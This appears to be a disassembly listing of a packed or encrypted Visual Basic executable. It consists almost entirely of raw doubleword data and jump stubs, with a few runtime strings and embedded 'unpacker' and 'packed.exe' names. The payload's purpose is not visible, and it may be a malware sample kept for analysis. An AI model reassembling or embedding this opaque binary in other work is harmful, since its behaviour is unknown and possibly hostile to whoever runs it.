dd 6CA1915Ch, 0ACE5h, 1, 42h dup(0)
dd 0F8000000h, 0A43736D1h, 6AD3C20Dh, 0E90AA1F7h, 107Bh
dd 0EF149768h, 3767E905h, 9E68FFFBh, 0E905EF15h, 0FFFB375Dh
dd 0EF16DD68h, 3753E905h, 0AE68FFFBh, 0E905EF17h, 0FFFB3749h
dd 0EF191A68h, 373FE905h, 1F68FFFBh, 0E905EF1Ah, 0FFFB3735h
dd 0EF1ADF68h, 372BE905h, 4168FFFBh, 0E905EF1Bh, 0FFFB3721h
dd 0EF1C3168h, 3717E905h, 0D568FFFBh, 0E905EF1Ch, 0FFFB370Dh
dd 0EF1D9A68h, 3703E905h, 6668FFFBh, 0E905EF1Eh, 0FFFB36F9h
dd 0EF1F3B68h, 36EFE905h, 8D68FFFBh, 0E905EF20h, 0FFFB36E5h
dd 0EF217C68h, 36DBE905h, 50B0FFFBh, 1379BC8Bh, 0E74A8D5Ch
dd 0BA1E6130h, 8AEF3201h, 493B00CFh, 0B1803BA0h, 7F4E0D6Eh
dd 4F1ED53Ch, 22F1AA0Ch, 99413C9Dh, 2D851E4h, 97F9E7DCh
dd 637623E0h, 0A78D4A01h, 8942A4C9h, 9F502EBAh, 0D6CBDB8h
dd 0EF35E3A8h, 0F728532h, 416D7A58h, 6AD857E1h, 0A7DEE9AAh
dd 0BE367DFEh, 0ECB612D2h, 97A096D2h, 4B9977h, 75D88C30h
dd 46h, 25DEB0D6h, 0E8C1073Eh, 1C8DF1C7h, 0CBD8D33Eh, 0A2E3A850h
dd 0FC92D8Fh, 0A1298982h, 0C5563454h, 4F73C27Fh, 0A4D857C3h
dd 5FC68340h, 0FE823FFAh, 360B4310h, 84C72576h, 35D88BD5h
dd 2C0AC122h, 0DC7Dh, 97F9DE00h, 57BC23E0h, 0D932DF9Ch
dd 0BEF7F4DEh, 7B599FDDh, 7633F456h, 1FEEAD0Fh, 0BEFB38F4h
dd 0B9F153DDh, 0BC51F753h, 0FB89FE37h, 0C1D4BBDBh, 6ECA960h
dd 3092D528h, 740ABA77h, 403B947Bh, 0DDBEAC96h, 0B51ABB01h
dd 7D5B41FEh, 40A6B912h, 6E4CA87h, 0A8411CF9h, 0D7D22BE3h
dd 0D85788EFh, 0E3745298h, 3245CE9Dh, 0CA3816CDh, 0FB543BB4h
dd 0FF538FC4h, 0E3C138B4h, 43752CD6h, 0AA91D7E6h, 93F63297h
dd 113117D4h, 0DF9AFF42h, 0D2CE56ECh, 8FFFC2CBh, 0DD4h
dd 7A490262h, 4B1AD137h, 17E6A508h, 0E4B370D4h, 0B6853CA1h
dd 0F15693F1h, 0C7286B3Ah, 8BF23504h, 60C205D4h, 0F253D8A7h
dd 51E3CFF7h, 9D92B8D8h, 1F037CB3h, 0F10D4C8Bh, 5189EE13h
dd 4A1939F0h, 17E6A507h, 25DEB0C0h, 8BE433Eh, 0FA0DE3A8h
dd 0D53CDD96h, 9D7B611Eh, 0BA09C60Ch, 0D857E614h, 48BAF7B7h
dd 0D88BB303h, 873EA1B4h, 0DFFAA9h, 16290000h, 5036F3B4h
dd 97F93972h, 0F7B41E19h, 99DFDDBEh, 0F055BC79h, 772D7C39h
dd 8CDDBEFBh, 5FA2712Ah, 9F56BDFDh, 443F987Fh, 0DDBEF29Ah
dd 0A0E1BF05h, 379F9AF3h, 60DDBEF2h, 0B0CE3C1Ah, 0B85D583Fh
dd 8FE3A81Fh, 82601B7Ch, 50DCABF1h, 0E3DEC53Eh, 0E6438528h
dd 6FC8AFF5h, 5699FE38h, 6480DD08h, 4A4C1120h, 75D67703h
dd 3513F9B6h, 21F0AB10h, 0D68B6198h, 1D2797FDh, 0FEDCFCBBh
dd 0FBF674D9h, 0D66A1AD3h, 635676BCh, 0CBD3B0FDh, 0CDFC6C2Fh
dd 5B00000Ch, 2E7140FBh, 0FD400FC8h, 0C90CDB9Ah, 9CDFAE65h
dd 0E8AD7C37h, 31E84D9Ch, 0FBBE1F62h, 0CB82E92Ch, 0A057B9FCh
dd 0F0EB4CD1h, 0D851E2C6h, 0B3968BB1h, 1626B67Ch, 6560F30Eh
dd 0DDBED57Dh, 0E2C0E026h, 0D2A158BDh, 9F6E2D8Fh, 0E097F948h
dd 0C982E6F9h, 0E143AAEBh, 0D18E45A9h, 32E94AEBh, 0A06F8F75h
dd 0D7E47A14h, 3886D71Fh, 5A17D032h, 4D345474h, 0A702A152h
dd 57145AE3h, 570BDA08h, 744505D8h, 8C9DB596h, 8AEF02D8h
dd 4E2C12CFh, 3F9Fh, 0DEB00000h, 0A6433E25h, 0FFE3A805h
dd 1ADFCB9h, 0AAD857F9h, 103BA9EAh, 65D88BCBh, 20h, 25DEB0C6h
dd 2112433Eh, 458BE3A8h, 0DC953988h, 7636D857h, 0CC84C725h
dd 0CF1D88Bh, 52000000h, 8F7F0h, 0A90A1D00h, 0B0DB14F2h
dd 433E25DEh, 0E3AE0939h, 0E0392066h, 788830A9h, 0BB99DE9Ch
dd 0A4733496h, 8B48FF61h, 6B52A3DBh, 41811370h, 0D7BE04E6h
dd 0DAA962C4h, 0B9763597h, 4C1D50Ch, 12CF8AEBh, 0A484672Ch
dd 2965D3B1h, 9D98F1D8h, 0D660C035h, 7336975Eh, 0F0A7553h
dd 0E87633D2h, 384A3D83h, 0CD1C018h, 0B8ED949h, 0BC1C0000h
dd 87ED30FFh, 5BBE01D0h, 268ACD9Ch, 0F65B9E6Dh, 0DDA76C3Bh
dd 1DECA70Ch, 0F3C279DAh, 0C39249B0h, 8E5D1E80h, 5ADA809h
dd 6ED851E1h, 0A0B35348h, 0DDC3803Bh, 6421DA3Ch, 2F93A07Eh
dd 7BDDBEF8h, 0C5DF4D03h, 427DEB61h, 24403B22h, 73E3AE79h
dd 0BCD25E2Dh, 86A65DC2h, 8B90A49Fh, 89CFE641h, 6E2D8FA2h
dd 8B332E87h, 1AD66063h, 6063B71Fh, 8D9AE0D6h, 0D3166947h
dd 7AD3BA71h, 6063577Fh, 1CFA40D6h, 0DB532BDBh, 6063F6E0h
dd 9994A1D6h, 0D6606331h, 0D4F4145Ah, 9C85F2EDh, 387EE870h
dd 1BDC3E51h, 0F0A7094Ch, 51F8E433h, 0B4CA4C73h, 0E8FB543Bh
dd 0D9E6C487h, 726A5B84h, 3DFE6073h, 9588CE5Fh, 57B1F0DFh
dd 0BD1A8A4Dh, 4B00000Ah, 1E6130EBh, 0ED30FFB8h, 0B9FCCB8Ah
dd 8CCF9E55h, 0D89D6C27h, 21D83DACh, 0EBAE0F52h, 0BB72D91Ch
dd 9047A9ECh, 0E0DB3CC1h, 0D851E0F6h, 0B3867BA1h, 0F7775F5Ah
dd 0DA20DDBEh, 0F7CEF8F3h, 73B9DDBEh, 9E572795h, 8942A4B7h
dd 9D08E6CCh, 0AE088AA2h, 0AA0ED5E3h, 2E4E34F1h, 19D23447h
dd 6D68C14Ah, 0D851E645h, 0E447E82Eh, 0A4826825h, 0A15E1D7Fh
dd 7D649DF1h, 4119FE82h, 7C63A9E6h, 0F0AB1023h, 0CC8BED12h
dd 9F58BAFDh, 8443A5B8h, 0C203E1C7h, 9C837C12h, 702A5CA1h
dd 0D7D22BE8h, 0CC73C4EFh, 0E3745298h, 41A3B69Dh, 1F32BB8Ah
dd 1C17FEBDh, 0CC73C4B2h, 94B997DDh, 0FBC7932h, 0C413BBB6h
dd 0A7A2CC73h, 0CC73C43Fh, 0CF152268h, 0C4FEE4F1h, 0B2CCCC73h
dd 195F5A41h, 0CEF2633Bh, 2C8EA188h, 0B301A9A4h, 246ACA02h
dd 0C9C41D04h, 0CA02B3E1h, 625D448Ah, 0CA02B278h, 0ACFFDD23h
dd 0F0AB1023h, 4A6F4D33h, 0C2722FE8h, 154C33CCh, 5F2F33D9h
dd 41AC8A4Ah, 12803646h, 433E97F4h, 0C0156D9Bh, 4FE0BE04h
dd 78D23064h, 0D2C85A4h, 9F6D32DDh, 0E9A6C6B3h, 0E5EA053Ch
dd 4219C1BCh, 3C82C015h, 3DC43077h, 649DF15Fh, 50076A7Dh
dd 64CFAD93h, 3030C69h, 0EDE8F5FEh, 0FE2AC3C5h, 554868AEh
dd 0E3936919h, 51D04003h, 0DF000009h, 0AAEDBC7Fh, 79BC8B44h
dd 4D905F16h, 206332E9h, 6C3100BBh, 0B56CD118h, 8742A3E6h
dd 570E75B8h, 24E34588h, 746FD055h, 0D851EE4Ah, 0F91A0F35h
dd 0BC23E097h, 61BAA15Ah, 0BEF77C66h, 3E127DDh, 5C933EC2h
dd 5A8DE90Dh, 77250338h, 0D88FF13Ah, 0BE7DDEF1h, 0EA3D1B01h
dd 0A38CCD7Eh, 7A6D2h, 0F0070000h, 513h, 0EA24B44Fh, 79745B94h
dd 0E3A805B0h, 0F9319259h, 0FEBBDB92h, 8C363118h, 0F7D857F8h
dd 35C691B1h, 4D0AC122h, 3C7C8967h, 11B523C7h, 0C99FC1DAh
dd 7553E22Ah, 977E7707h, 0C69B433Eh, 114C054Ah, 5D6F9903h
dd 5AFB414Eh, 0F96442F9h, 5C00DDFEh, 0C380C63Bh, 0A3097B13h
dd 0EAE5CCECh, 3D764457h, 97CE2F66h, 975C137Ah, 4321E714h
dd 2C856CB2h, 77858931h, 0CEACF239h, 2DEE5063h, 48F30F46h
dd 415C3CF9h, 0D862F07Ch, 0AA8897ABh, 0F9B21457h, 0CE385A06h
dd 77E7AA24h, 84Ch, 0F2C17ADAh, 0C39249AFh, 8F5E1D80h
dd 5C2BE84Ch, 2EFDB419h, 69CE1B69h, 3FA0E3B2h, 36AAD7Ch
dd 0D83A7D4Ch, 6ACB501Fh, 51ED476Fh, 150A30D8h, 0F9E097F9h
dd 0EAC87FE6h, 26DD42A9h, 59BBCE57h, 21FFE5A2h, 432ADBB3h
dd 2C9691EAh, 0C3DDBEF7h, 569CA960h, 0F74A746Fh, 0EF35DDBEh
dd 8460411h, 1B61E3AEh, 4BB2134h, 18836147h, 15E4A305h
dd 0FAB770D2h, 0A116344Ah, 0B0C5E971h, 2A614868h
dd 0F3AE9A6Ah, 93FEDC49h, 41948898h, 99AEE5E6h, 4A9D2101h
dd 3441D2B0h, 60FF9139h, 94B4FAD6h, 0DE4154ADh, 0C2244927h
dd 45652688h, 1AD13376h, 0DA91F65Dh, 0D955B7E7h, 4EBE81CBh
dd 78Ch, 3201BA1Ah, 3D289EFh, 0CF9E5DC0h, 9C6B288Ch, 6E3DF459h
dd 0A90EDBA9h, 7FE023F2h, 43AAEDBCh, 187ABD8Ch, 0AA0B905Fh
dd 51ED07AFh, 554A70D8h, 3E25DEB0h, 0AE083D43h, 3D246AE3h
dd 400FC82Ah, 1FDC9BFDh, 3EFD5F72h, 4FBD9B81h, 0E4DFC63Fh
dd 0E647309Fh, 4D0F0248h, 9FCBDF63h, 72A6CDCh, 58B80000h
dd 1B81C493h, 0EF529564h, 0C2266938h, 92F73A09h, 414308D7h
dd 0B98843A8h, 87561576h, 5726DD44h, 2AF9B214h, 614944A5h
dd 0AD851ECh, 97F9EFE4h, 0A5A0F9E0h, 0DDBEF73Dh, 1422066h
dd 0C27F389Ah, 0CA03503Eh, 6FC8AF68h, 0BEF74A74h, 4EEF35DDh
dd 0FF5230E7h, 0A8B93F76h, 397F0C1Fh, 653E0D5Bh, 737D2A3h
dd 98000000h, 2E6F0h, 97F94F00h, 1B7323E0h, 780803EAh
dd 2FE3AE09h, 75D71AE9h, 2D92F9B6h, 0C51EA776h, 51E4E0CAh
dd 67458BD8h, 856C85F9h, 411CA98Ah, 0A58CD2E6h, 9DB03092h
dd 0DDC38037h, 60D26A54h, 0AFCF15D6h, 7C3B9DE0h, 38F358BFh
dd 42B3CB7Bh, 24E7485Bh, 0CABC8167h, 6AA552F7h, 0E841AC8Ah
dd 12B372D5h, 5137F4ABh, 84BD6673h, 798CE876h, 0BEA46118h
dd 1DFBBA1Dh, 6F53468Ch, 0D9D1C0BEh, 63AA616h, 68C80000h
dd 2B91D4A3h, 0FF62A574h, 0D2367948h, 0A2074A19h, 315318E7h
dd 0C99853B8h, 97662586h, 6736ED54h, 3A09C224h, 715954B5h
dd 1AD851EBh, 7CB3FFF4h, 0FE1F77BFh, 6C0626C7h, 75106A2Fh
dd 0DF537B76h, 0F63CDDBEh, 71D3F8D6h, 3496FDBAh, 0EE4FB673h
dd 0A1076E2Bh, 0BBA92DEAh, 0AF8B6FEh, 69228449h, 4F0A6F82h
dd 5E951E71h, 36A5042h, 0E4A98F4Ch, 0F559EC75h, 7B9B813Eh
dd 0A4FC4F9Dh, 1079D2A3h, 0DA000000h, 43077CB3h, 3E531387h
dd 13A3260h, 0F9910000h, 0DBEDE097h, 69C0075Eh, 59636A6h
dd 0C4240000h, 8FF53807h, 63C609D8h, 2E92D5A4h, 0FE63A675h
dd 0D5AF7443h, 25F4AF14h, 0FBCA81E2h, 0CB9A51B8h, 96652688h
dd 0DB5B011h, 76D851EBh, 97F95B50h, 7C2F9E0h, 662C83A9h
dd 0BB226341h, 61E5A259h, 8BED2673h, 918CE5CCh, 0DDBE4629h
dd 0DB2E0C52h, 0A36EDC6Fh, 2899D2h, 0F0FA0000h, 0C8h, 5F5AB34Fh
dd 0DDBEF777h, 0CEFCDA20h, 0B8h, 0B16BA2FBh, 0EAFBF78Ch
dd 9AC5ED76h, 68AEDDBEh, 0DEB0518Ah, 0D2E53E25h, 0B016B770h
dd 40C19F7h, 33E3AE09h, 9552096Ch, 25D28FAFh, 0E4E9D1CCh
dd 4C92D851h, 758E006Eh, 0BF22358Eh, 87654B08h, 4732157Ah
dd 0C5B8FEE6h, 0CBDF63EDh, 0D1047437h, 5F000004h, 2A6D3CFFh
dd 0F93C0BC4h, 0CD10DF96h, 0A0E3B269h, 0ECB1803Bh, 35EC5198h
dd 7C22366h, 0D78EF538h, 0A463C508h, 0F4EF50D5h, 0D851EACAh
dd 0B39A8FB5h, 0C58239A0h, 21DA3EDFh, 32A07E64h, 5BE225Ch
dd 4203FEE5h, 5BE3A845h, 0B81B2E15h, 0DA073201h, 37D857B8h
dd 793095D5h, 0E4478A59h, 6DF86825h, 57000004h, 3E25DEB0h
dd 0E56EEF07h, 0FFDDDD70h, 77979994h, 7AC0E3AEh, 0B9710DBDh
dd 516714BEh, 0AAA5D8h, 6BD85167h, 0B2D21825h, 0B1A3D0CBh
dd 677AE647h, 0A58B4803h, 87981FE0h, 0C6A41389h, 0D4CF2835h
dd 0D66631EAh, 1CC64F95h, 0F3D66631h, 0DEC9D68Dh, 0CDDBFFB7h
dd 0AF50703Bh, 786B8B4Eh, 0CBDF908Ch, 5AD1DE0h, 93000004h
dd 66A97833h, 35784700h, 14413D2h, 0D417E69Dh, 20E5B46Fh
dd 69208564h, 33F6579Ah, 3BA2164h, 0D88FF134h, 28238409h
dd 0D851E9BEh, 0B0CEC3E9h, 0E53E25DEh, 0F729918Ch, 719ADDBEh
dd 7D4E9967h, 351C626Fh, 0BED9903Ah, 0D7B5FBDDh, 0AE2742CAh
dd 0C0A7EDE3h, 0C1E74BADh, 3688C741h, 73B685A5h, 1A735A11h
dd 5132B71Fh, 0BC9AE0D8h, 42B3CB7Bh, 0CD23605Bh, 0E31AE641h
dd 0D1650527h, 76DB7C33h, 64CDDBBh, 0EEA50C1Fh, 512FE64Dh
dd 0BA71D3E6h, 0E046A8EBh, 0D7303D68h, 98423D7Bh, 3D6607Ch
dd 0BBB69DBDh, 0D6607C13h, 5916367Ch, 351CD5A9h, 768FE53Ah
dd 0FC9DD4E8h, 0F9E924F3h, 4A57E8C6h, 792E674Fh, 0AACA10CCh
dd 0C087CBB7h, 0E25215D1h, 330h, 0CE9D5EBEh, 9F6E258Bh
dd 7342F95Ch, 400FCC30h, 12E198FDh, 4DB2374Dh, 2384C796h
dd 0EF569968h, 0C4266938h, 4EAF3403h, 51E86B53h, 0F9EE14D8h
dd 0F9E097F9h, 5DF3EDC2h, 0E7ACAF81h, 5426E06Eh, 62A3813Fh
dd 13E299FBh, 1A7DF787h, 908338B6h, 0E202D855h, 381F3F25h
dd 0B269CCDFh, 24310FF5h, 0E3A896C3h, 4A99569Ch, 0D8574664h
dd 0BBCA8747h, 467F6762h, 1B28D857h, 5746B620h, 7B9BE1D8h
dd 6EFC4F9Dh, 2C79D88Ch, 0DA000000h, 3E25DEB0h, 0B86FD2E5h
dd 2A3715FBh, 0E3A808A5h, 0E6A507CEh, 66234329h, 57E6AB17h
dd 75414D8h, 8BB2A6A5h, 0DCCFD8h, 0F9300000h, 0A0F9E097h
dd 0BEF73DA5h, 0B66DD2DDh, 0C00613F9h, 0F7F4DED9h, 599FDDBEh
dd 6ED33A7Bh, 3649F6B3h, 107516D5h, 0F4567B59h, 0AD0F7633h
dd 3D961FEEh, 0BEF79842h, 0D6BD03DDh, 0BEF7F3DBh, 78569CDDh
dd 0BEFBB16Bh, 0AF68CADDh, 0CD53B5C8h, 0BEF2E8D2h, 2D4D93DDh
dd 57B9FC4Fh, 0CF82B9A0h, 0BF7ADF23h, 31571C02h, 0DD1EFC31h
dd 0B9A0512Dh, 0A7F8CDBEh, 0C190D6E3h, 0C1A85935h, 43B947C6h
dd 331A60E6h, 3100BB20h, 622D89EEh, 80B3A628h, 8F897C9Ch
dd 0DDCBD30Dh, 1DEAA1Ah, 0C6C0000h, 0D73D804Fh, 0AB0E5120h
dd 76DA1DECh, 46ABEEBDh, 8DF7BC8Bh, 6D3CF75Ch, 4312C92Ah
dd 13E29900h, 0DEAD6ED0h, 0D5FDF859h, 0BED851D7h, 94F9A398h
dd 69CB0EDDh, 52B8CBB2h, 18F6DC99h, 7CB36EC5h, 4B2FF7AFh
dd 2A987628h, 0B9B49B54h, 0E3A8B334h, 6D55505Dh, 16D8573Bh
dd 46F3B0D0h, 3BC8F2EDh, 6DB3D857h, 3B5C828Fh, 0BF7FD857h
dd 6D3B10F2h, 0AF38D88Ch, 99000000h, 0F9E097F9h, 0F73DA5A0h
dd 2066DDBEh, 359A0142h, 2384977Eh, 0FA498A68h, 0DDBEFB22h
dd 2A03DC13h, 984CF58Bh, 743395BAh, 0A5091CA5h, 6D4B31EEh
dd 6825E648h, 462DC6B8h, 0A76BBA4Bh, 4E1D63E3h, 0A6558EC5h
dd 0D3E66A5Dh, 7DF787F5h, 563D5D1Ch, 0C2D802FDh, 7DC3D857h
dd 6939349Fh, 32E64399h, 8DF205ECh, 5FC407D6h, 0B5A9B1A4h
dd 38FBCBD3h, 0EFC8h, 5E1D7D00h, 2DE64C8Fh, 1B81B5Eh, 0D08BEF32h
dd 0A259BE01h, 73760ED3h, 4184530Eh, 175A29E0h, 0E72AF9B0h
dd 72F7C685h, 0D6AC1611h, 0B1D7D851h, 0DD94F9BCh, 0B269CB0Eh
dd 97F98CE3h, 7E3BFE5Fh, 7E917898h, 0F6A36017h, 0BEF7D3FBh
dd 5676BCDDh, 6ED03778h, 4EB3C6ADh, 0F7E9D1CCh, 4C92DDBEh
dd 604A452Ch, 0BDDBEF7h, 894E7C5h, 9B967D76h, 0E3AE09E9h
dd 0AF66C9DCh, 13FA40D1h, 0DB81B3DCh, 16F49B49h, 4B0C6ED5h
dd 9FD7397Ch, 0DCC27F3Ah, 23B0FFBCh, 72E8E291h, 0FE6095E6h
dd 0E143563Dh, 0CF8C43A9h, 260CC9E9h, 0AC692085h, 5295E8C6h
dd 0CD7A37F0h, 0D9517974h, 0F43AC880h, 0D68DF116h, 0C279DCEFh
dd 123EA3E4h, 0F2ED4641h, 0C880D9C8h, 6A8F6DB3h, 0EA12AA08h
dd 1A6A1D96h, 86E82BFAh, 3DA4DE44h, 89466686h, 319h, 0C27D7800h
dd 25E299F9h, 0DE9B5CBEh, 9C591077h, 5815D435h, 18D58CF1h
dd 0D8954CB1h, 99560D71h, 5B18CF32h, 18D58EF4h, 4EC8181h
dd 89000000h, 0E2892414h, 4C281h
dd 0EA830000h, 24148704h, 0E689565Ch, 4C681h, 0EE830000h
dd 24348704h, 240C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h
dd 895C243Ch, 0C4682434h, 89000077h, 5D68242Ch, 5D7B4664h
dd 7714F581h, 0E9897EA9h, 1597685Dh, 24890000h, 24048324h
dd 52515E04h, 0BB5AEABAh, 24543173h, 468F5A04h, 8768108h
dd 73BB5AEAh, 5E2434FFh, 4C481h, 34FF0000h, 0C4815924h
dd 4, 0FB2700E9h, 0E3DDFFFh, 162CFF0h, 0B8A6A684h, 5EF2290h
dd 0E0FFC503h, 7AE120F9h, 56B1CE4Ah, 0AD98255h, 5A917D65h
dd 7B96743Ch, 424804EBh, 83E940EEh, 6C000005h, 2E8052Ch
dd 947A97C6h, 250B2857h, 0B49AB7EAh, 2A2E4B76h, 99C402B8h
dd 2E55967Ch, 0C1EC2B11h, 5184BEA4h, 0D8866734h, 13263996h
dd 0C2E1BF18h, 63275588h, 0F7DDFA25h, 985C8ABDh, 39FD2B5Eh
dd 92A0CEFDh, 2857066Fh, 9A376BE6h, 4CCF8050h, 85049F39h
dd 195339D6h, 0C29CC9E6h, 0D1B75487h, 1D4A6792h, 0A4E10243h
dd 1B7D4775h, 0A08623EDh, 44083661h, 5F39DC03h, 9F57F423h
dd 2C3144BBh, 0BBE91452h, 2F6E54F1h, 0A95115C3h, 0E75D16C9h
dd 48826885h, 0BBDCE715h, 0C9A9490Dh, 42DF5516h, 0C9A9BB88h
dd 99DCFB16h, 0CF644E12h, 97275640h, 0B8252698h, 5B0526C3h
dd 0CB000000h, 275588C2h, 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch
dd 16C40h, 0C2320000h, 1E295786h, 1A0F4FFDh, 0CA8F16C9h
dd 7DA9F658h, 1CB91B6Eh, 9DCBFA36h, 557AB892h, 0F4BEEC17h
dd 0FD9A6492h, 7BA9DC17h, 3B78526Dh, 0D3C874BDh, 0EB4DE10Fh
dd 2156F3BDh, 0E5145054h, 75A8E2C8h, 84C22A58h, 0A1DCB659h
dd 1A3F7F2Dh, 49BF16C9h, 0B6F5B9E7h, 31935D8Bh, 0CB689BD5h
dd 39E70813h, 16C91A75h, 80660379h, 0F7E71544h, 598CC6A0h
dd 8FC4612Bh, 5B80BEE6h, 5E75A41Ah, 6634C6C8h, 9F85A204h
dd 0F9043265h, 1AB7DE1Fh, 93CEF734h, 6683260h, 0D6809D8h
dd 0DEE02150h, 0CA3AD02Fh, 26924E2Dh, 81A240CFh, 0C9F393D3h
dd 8A51B16h, 8BE7h, 84C2AD00h, 0FF202B59h, 0C91A0D51h
dd 7E1B9116h, 0C3DD5B98h, 0C404AA9h, 9C608EF0h, 4105335Eh
dd 0E7ABD900h, 854F7DA8h, 0A8F67F1Ch, 0E96DF02h, 0A288A5D0h
dd 470B3964h, 0DCABD90Ch, 0BF713A3Bh, 0D140CFDEh, 74h
dd 5984C297h, 0FD28672Bh, 0A1CC0BCFh, 0F4BA6873h, 0FA16C91Ah
dd 0BCEB2884h, 5E8DCA8Eh, 0BEE095B8h, 984667AEh, 16C91AD6h
dd 11BF62D8h, 16C91A4Dh, 93EDB51h, 0D5FA386Ch, 0CF32189Ah
dd 0DD453F8Bh, 0CEFC197Bh, 235D86C2h, 0C8608EF0h, 16C91AFBh
dd 6F9DC807h, 15436AABh, 0BBE91051h, 8AEB88F1h, 0FBD5EC14h
dd 0C0F592BDh, 0D72AF6B5h, 14640CFh, 0C000000h, 3762A17Bh
dd 0BCA23F09h, 5E22507Fh, 0DFC3F124h, 5A970D68h, 0B2E10E2Bh
dd 0D2313B80h, 0DA13B092h, 0ABDE1882h, 0AE51B37Dh, 386699D4h
dd 0F6A4D16Eh, 1C31636Dh, 0EAF52399h, 74A2D510h, 0ED270DAAh
dd 7DB79DBAh, 0C0841C4Ah, 0C61320A9h, 6A2E5C87h, 59D1FF2Eh
dd 23336B0Ah, 490DBBDCh, 551320A9h, 453F2EDFh, 0B66A068Eh
dd 1391E419h, 0A389A6D9h, 64933669h, 0D8199B71h, 1A1000B1h
dd 7337EF8Ch, 14D80639h, 4271AED7h, 0BAE84A14h, 5D8BBAF6h
dd 37670E6Dh, 7F2550AFh, 956F1245h, 30FA285Bh, 430DEC93h
dd 5D45268Bh, 151h, 0A7176F23h, 9FD5604h, 0B3291C32h, 5FA07A85h
dd 8F400A38h, 2AECA481h, 0C7AD4A09h, 88B75A8Dh, 0A03CB1E1h
dd 30D7748Ah, 0AFDD104Ah, 507EB1EBh, 0F4224D8Ch, 95C3F630h
dd 8D116487h, 0D5CFA605h, 6C4B689Bh, 452659A4h, 42BCh
dd 186F8200h, 8E203A6h, 3863A2CBh, 41DE400Ah, 0C9191787h
dd 73A11716h, 0C91A9BDBh, 4E7D1216h, 0DC8A04ADh, 16C9279Ah
dd 7EFDAE24h, 4A7F1CB8h, 5DCF262Bh, 0E59A0CBAh, 2EA416C9h
dd 0C33311h, 6F730000h, 4170AD17h, 4977AAE5h, 0CC7A1D7Fh
dd 1C321ECFh, 0BAE122FCh, 0D6843B1Dh, 13201690h, 5705A81Eh
dd 13201617h, 91BF2197h, 436093CDh, 4DF0235Dh, 6D0A3573h
dd 16E61DB5h, 25741320h, 0ED1A5450h, 4C5785ACh, 2016D89Eh
dd 0E70E613h, 3AE809ACh, 13201674h, 0C067047Ah, 1CBF2F87h
dd 0DAFAE16Eh, 0C9F76D19h, 54738FBEh, 86E6D0DAh, 20EA184Bh
dd 13B21BEh, 17512BCEh, 0CB8F47E4h, 7135638Ah, 0CBD90732h
dd 55D1CDA8h, 0C787B7E6h, 0EC0B2C36h, 0DEDB9B49h, 6DE316CFh
dd 77DA9BD0h, 0FEC06E1Fh, 0A716CFDEh, 13B1041Ah, 2399F115h
dd 0E7701EC1h, 671C3555h, 7F2D4EF1h, 13209A3Fh, 5AC49BFh
dd 0A7176FD7h, 0F6D95604h, 0EF651C33h, 0CD3A1D4Ch, 0AB39ED91h
dd 5892560Eh, 4930F0D6h, 46685C8h, 9AC701E7h, 7F3FED5Dh
dd 7F1326B5h, 0AF79A709h, 0C1871F4Dh, 7BDE2590h, 4D871D58h
dd 0DD17FD1Ah, 7DB87CAAh, 0C9381C4Ah, 9846AEEFh, 5627DED6h
dd 0D20062D8h, 3F366B08h, 55F82B65h, 0B9976026h, 0AD090B0Bh
dd 48124073h, 0B6D704ABh, 27FF4608h, 35D24856h, 0B4E2154Fh
dd 3F8h, 33A13800h, 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh
dd 0BDEB1654h, 6290BBF9h, 230639Eh, 0A4D2013Eh, 4775A4E0h
dd 4EC8386h, 89240C89h, 4C181E1h, 83000000h, 0C8704E9h
dd 89505C24h, 405E0h, 0E8830000h, 24048704h, 2414895Ch
dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 5153240Ch
dd 866429B9h, 59CB8903h, 6EECC381h, 0DBF70B11h, 0EB81D3F7h
dd 79F56205h, 0B247C381h, 0DA89714Ch, 4EC815Bh, 89000000h
dd 4832424h, 55590424h, 0BA52D589h, 8, 2A89CA01h, 0C8B5D5Ah
dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5A2434FFh, 0E904C483h
dd 0FFFA571Fh, 3CB8D60Ch, 305EF28h, 0AAE0FFC5h, 6D167F3Fh
dd 7E60179Ah, 0AD777C1Eh, 0A319BE5Eh, 801C4583h, 0DE500FC2h
dd 0EC325B67h, 6D06B2FFh, 0A07DBB10h, 777FA6C0h, 1447ED6Eh
dd 784F842Ah, 0D424668Dh, 6C359375h, 511BE559h, 0D4078ACh
dd 4E0AD181h, 1F21650Eh, 9412C47Ch, 527EC7A2h, 8F2D3527h
dd 9F68F560h, 3C57EA19h, 8003508Ah, 0B178ABEDh, 0D63DDA08h
dd 0E903DD7Ah, 15Ch, 77E705C5h, 6D5C3A43h, 706E755Fh, 656B6361h
dd 61700072h, 64656B63h, 6578652Eh, 3Bh dup(0)
a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain db 'ThunRTMain',0
a__vbavartstne db '__vbaVarTstNe',0
dd 5478AC23h, 1C7BE9h, 2CBA6800h, 38E905EFh, 68FFFA55h
dd 5EF2D90h, 0FA552EE9h, 2ED368FFh, 24E905EFh, 68FFFA55h
dd 5EF2FB2h, 0FA551AE9h, 2FF168FFh, 10E905EFh, 68FFFA55h
dd 5EF310Bh, 0FA5506E9h, 317368FFh, 0FCE905EFh, 68FFFA54h
dd 5EF31CFh, 0FA54F2E9h, 38A768FFh, 0E8E905EFh, 68FFFA54h
dd 5EF3922h, 0FA54DEE9h, 39E568FFh, 0D4E905EFh, 68FFFA54h
dd 5EF3AF6h, 0FA54CAE9h, 3B5A68FFh, 0C0E905EFh, 68FFFA54h
dd 5EF3C48h, 0FA54B6E9h, 3D1C68FFh, 0ACE905EFh, 68FFFA54h
dd 5EF3DC7h, 0FA54A2E9h, 441068FFh, 98E905EFh, 68FFFA54h
dd 5EF450Ah, 0FA548EE9h, 45A568FFh, 84E905EFh, 50FFFA54h
dd 0E6CCE910h, 785E7BAAh, 9EF0C3Bh, 987E9BCEh, 0E122F5Ah
dd 75A0DED4h, 0A317258h, 9DC807EDh, 2D609A80h, 0B4624310h
dd 132631F2h, 0ECC6A3FCh, 0B3E17EB1h, 275588C2h, 0D407421Ch
dd 593FDCA6h, 0A2CFEC1Fh, 0ECB26081h, 0F216C91Ah, 1A0A4C7Ch
dd 1E9416C9h, 80F04881h, 23A62FDDh, 32A81C32h, 0DE1FF904h
dd 62601AB7h, 9513200Ch, 0ADDC81F4h, 0BC21C08Ah, 0DEBD5AC2h
dd 45269732h, 332Eh, 176FF400h, 4D5604A7h, 0B91C3229h
dd 2A291BF4h, 0E44271E3h, 77D3844Fh, 85B315E1h, 2031D5EDh
